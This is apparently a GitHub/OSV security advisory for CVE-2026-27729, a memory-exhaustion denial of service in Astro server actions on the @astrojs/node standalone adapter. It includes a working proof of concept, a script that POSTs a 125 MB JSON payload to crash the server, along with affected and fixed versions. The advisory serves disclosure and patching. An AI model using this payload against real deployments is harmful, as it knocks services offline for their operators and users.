CVE-2026-27729: @astrojs/node Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jm64-8m5q-4qh8",
  "modified" : "2026-02-25T22:33:14Z",
  "published" : "2026-02-25T22:33:13Z",
  "aliases" : [ "CVE-2026-27729" ],
  "summary" : "Astro has memory exhaustion DoS due to missing request body size limit in Server Actions",
  "details" : "## Summary\n\nAstro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.\n\n## Details\n\nOn-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.\n\nAstro's Node adapter (`mode: 'standalone'`) creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.\n\nAction names are discoverable from HTML form attributes on any public page, so no authentication is required.\n\n## PoC\n\n<details>\n\n### Setup\n\nCreate a new Astro project with the following files:\n\n`package.json`:\n```json\n{\n  \"name\": \"poc-dos\",\n  \"private\": true,\n  \"scripts\": {\n    \"build\": \"astro build\",\n    \"start:128mb\": \"node --max-old-space-size=128 dist/server/entry.mjs\"\n  },\n  \"dependencies\": {\n    \"astro\": \"5.17.2\",\n    \"@astrojs/node\": \"9.5.3\"\n  }\n}\n```\n\n`astro.config.mjs`:\n```javascript\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n  output: 'server',\n  adapter: node({ mode: 'standalone' }),\n});\n```\n\n`src/actions/index.ts`:\n```typescript\nimport { defineAction } from 'astro:actions';\nimport { z } from 'astro:schema';\n\nexport const server = {\n  echo: defineAction({\n    input: z.object({ data: z.string() }),\n    handler: async (input) => ({ received: input.data.length }),\n  }),\n};\n```\n\n`src/pages/index.astro`:\n```astro\n---\n---\n<html><body><p>Server running</p></body></html>\n```\n\n`crash-test.mjs`:\n```javascript\nconst payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });\n\nconsole.log('Sending 125 MB payload...');\ntry {\n  const res = await fetch('http://localhost:4321/_actions/echo', {\n    method: 'POST',\n    headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },\n    body: payload,\n  });\n  console.log('Status:', res.status);\n} catch (e) {\n  console.log('Server crashed:', e.message);\n}\n```\n\n### Reproduction\n\n```bash\nnpm install && npm run build\n\n# Terminal 1: Start server with 128 MB memory limit\nnpm run start:128mb\n\n# Terminal 2: Send 125 MB payload\nnode crash-test.mjs\n```\n\nThe server process crashes with `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.\n\n</details>\n\n## Impact\n\nAllows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@astrojs/node"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "9.0.0"
      }, {
        "fixed" : "9.5.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/security/advisories/GHSA-jm64-8m5q-4qh8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27729"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/pull/15564"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/commit/522f880b07a4ea7d69a19b5507fb53a5ed6c87f8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/withastro/astro"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/releases/tag/@astrojs/node@9.5.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T22:33:13Z",
    "nvd_published_at" : "2026-02-24T01:16:15Z"
  }
}